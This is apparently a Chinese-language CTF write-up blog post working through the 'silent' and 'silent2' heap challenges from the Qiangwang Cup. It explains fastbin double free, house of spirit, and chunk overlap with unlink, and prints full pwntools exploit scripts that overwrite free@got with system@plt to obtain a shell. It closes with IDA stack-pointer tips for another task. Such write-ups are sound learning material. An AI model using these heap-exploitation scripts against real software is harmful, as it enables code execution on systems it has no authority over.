强网杯 | 补题

Author Avatar
Aryb1n 4月 03, 2018

silent

fastbin是后进先出, 像栈一样, 相当于fastbin是栈顶指针, 指向最后来的块, 最先来的块(栈底)有fd = NULL

fastbin 最简单的利用, list栈顶的chunk被malloc出去的时候, 他的fd就被作为fastbin的指向, 这样的话, 下次malloc的时候, 就能实现任意地址写…要做的就是在栈顶这一块malloc出去之前通过溢出改写他的fd指针就是问题的关键…一般是通过他前一块(更低地址)的块来覆写

第二种就是house of spirit…, 就是通过覆写free(p)这里的p指针的指向为我们的fake_chunk, 条件当然一般是溢出的时候能覆盖一个一会儿要free掉的指针, 还要能伪造堆块, 就可在下次malloc的把我们伪造的块给malloc出来, 实现任意地址写…

当然我们实现修改fd和修改free的参数时候不只可以溢出修改, 能改就行…比如像下面说的double free.

fastbin在double free的时候只要不是连续两次free同一个指针就不会被检查出来…(其实就是在插入fastbin的时候, 查看当前fastbinY的值和当前要插入chunk的值是不是相等), 所以可以在中间插入一个p1的free, free(p0) -> free(p1) -> free(p0), 然后再malloc() -> malloc() -> malloc(), 就能在这操作之后(p0第一次malloc的时候写入假的fd, 第二次malloc的时候就可以使得fastbin list指向一个假的地址), 我们就能再次分配把fake的chunk给分配出来, 这个时候我们如果把fake的地址在got表, 那么就能够改写got表

思考UAF一般要做的是什么, 可以泄露地址. 还可以?

payload基本是参考大佬的…但为什么要把free.got改写成system.plt呢…为什么不是system.got…? 然而好像都是这么改的…为啥呢…
mdzz, free.plt里的jmp <free@got>, 会跳到free.got里存的那个地址, 然后执行那个地址对应的代码
如果在这个free.got里存入system.got, 那么就会把system.got当做代码执行, 然而got表是存储的地址, plt表才是代码(jmp xxx)
如果在这个free.got里存入system.plt, 那么就会执行jmp <system.got>, 从而调用system…(不管以前是不是调用过system, 都可以)

from pwn import *
from time import sleep

local = 1

if local == 0:
    r = remote('39.107.32.132', 10000)
else:
    r = process('./silent')

elf = ELF("./silent")

def gd():
    context.terminal = ['gnome-terminal','-x','sh','-c']
    gdb.attach(r)

def add(size, con):
    sleep(0.1)
    r.sendline('1')
    r.sendline(str(size))
    r.sendline(con)

def free(idx):
    sleep(0.1)
    r.sendline('2')
    r.sendline(str(idx))

def edit(idx, con, con_new):
    sleep(0.1)
    r.sendline('2')
    r.sendline(str(idx))
    r.sendline(con)
    r.sendline(con_new)

sys_plt = elf.plt['system']
free_plt = elf.got['free']

fake_chunk = 0x601ffa

add(0x50, 'a')
add(0x50, 'b')

free(0)
free(1)
free(0)

add(0x50, p64(fake_chunk))
add(0x50, 'c')
add(0x50, 'd')

payload = 'sh' + '\0' * 12 + p64(sys_plt)
add(0x50, payload) 

# 0x60200a + 0x10 + sh  = 0x602018

free(5) # system(sh)

r.interactive()

silent 2

和1的区别在于限制了申请的堆块的大小, 不能使用fastbin了, 要使用double free来…unlink一个bin, 是不是像0ctf-2015, freenote一样
看大佬的wp有一个词叫heap overlap(https://ctf-wiki.github.io/ctf-wiki/pwn/heap/chunk_extend_shrink/)
这个overlap, 大概是说, 举个例子

// 32位下
p0 = malloc(504);
p1 = malloc(512);

free(p0);
free(p1);

p0 = malloc(1024);
// 这个时候就把原来两块的内容放缩成一块了
// 1024 = 504 + 8 + 512
// +-----------+
// | prev_size |
// +-----------+
// |size=0x408 |
// +-----------+----+
// |fake_prev  |    +
// |fake_size  |    +
// |fake_fd    |  0x200
// |fake_bk    |    +
// |padding    |    +
// +-----------+----+
// |fake_prev  |    
// |fake_size--+>0x208
// |padding    |    
// +-----------+
edit(p0);
// 这个时候伪造堆块, 伪造成两块, 一会儿unlink
free(p1);
// 然后这个时候再free(p1), 就是两次free(p1)了...这个时候会触发unlink
from pwn import *
from time import sleep

local = 1

if local == 0:
    r = remote('39.107.32.132', 10000)
else:
    r = process('./silent2')

elf = ELF("./silent2")

def gd():
    context.terminal = ['gnome-terminal','-x','sh','-c']
    gdb.attach(r)

def add(size, con):
    sleep(0.1)
    r.sendline('1')
    r.sendline(str(size))
    r.sendline(con)

def free(idx):
    sleep(0.1)
    r.sendline('2')
    r.sendline(str(idx))

def edit(idx, con, con_):
    sleep(0.1)
    r.sendline('3')
    r.sendline(str(idx))
    r.sendline(con)
    r.sendline(con_)


system_plt = elf.plt['system']
free_got = elf.got['free']

add(0x90, 'a') #0
add(0x90, 'a') #1
add(0x90, 'a') #2
add(0x90, 'a') #3
add(0xa0, 'a') #4
add(0x90, '/bin/sh\x00') #4

############################## 这一部分对应着上面说的放缩的过程
ptr = 0x6020d8
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10
free(3)
free(4)
payload  = p64(0) + p64(0) # fake_prev + fake_size
payload += p64(fake_fd) + p64(fake_bk) # fake_fd + fake_bk
payload += 'A' * (0x90 - 4 * 0x8) # padding
payload += p64(0x90) + p64(0xb0) # fake_chunk4_prev + fake_chun4_size
add(0xa0 * 2, payload)
free(4)
############################## 至此, unlink结束...
# 此时 ptr = fake_fd = 0x6020d8 - 0x18 = 0x6020c0 = chunk[0]
# 就可以下次通过edit(3), 来更改chunk[0]的指向

# 这一步使得chunk[0]指向free.got
edit(3, p64(free_got), '')

# 使得free.got的内容为system.plt
edit(0, p64(system_plt), '')
free(5)

r.interactive()

因为unlink的时候是要p -> fd -> bk = p -> bk -> fd, 也就是要(p -> fd) + 0x18 = (p -> bk + 0x10) = ptr, 这个ptr里存着的是指向p的指针, 我们的0x6020c0, 是一个存着每个指针的数组, 我们的chunk_3是存在(0x6020c0)[3] = (0x6020c0 + 3 * 0x8) = 0x6020d8的位置…, 所以这里是fake_fd = 0x6020d8 - 0x18, fake_bk = 0x6020d8 - 0x10

因为fake的ptr需要, 所以要有chunk[0..2], 实际上1, 2没用上, 就是占位, 使得3因为4而被unlink的时候, 可以更改到chunk[0]的内容

raisepig

遇到的第一个问题就是, 函数sub_1160没法f5, 倒是一行一行看汇编也能看懂…但感觉很不爽…
会报错positive sp value has been found

很久之前看到过解决办法, 实践一下
先勾一下这个, 显示栈指针

Options -> Disassembly -> Stack pointer

然后在retn处的偏移不是0, 我在这题里看到的是-04

.text:00000000000011F2 014                 leave
.text:00000000000011F3 -04                 retn
.text:00000000000011F3     sub_1160        endp ; sp-analysis failed

在leave这里, alt+k, 在弹出来的菜单里把偏移量改成这里的0x14, (我这里原来是0x18)… 然后, 就会变成下图
retn前的数字变成了000, 这个时候再F5就OK

.text:00000000000011F2 014                 leave
.text:00000000000011F3 000                 retn
.text:00000000000011F3     sub_1160        endp ; sp-analysis failed

QAQ, 我也不知道为啥可以, 就是这样操作了一下…
然后看了一下…这函数好像啥都没干, 怎么open/dev/urandom, 都没read, 就close了….一脸茫然

对, 还有函数跳转表这里, 要把十六进制先变成十进制, 才能转换成负数

接下来分析题目

哎, 我擦, 算了, 先睡觉

opm

todo

gamebox

todo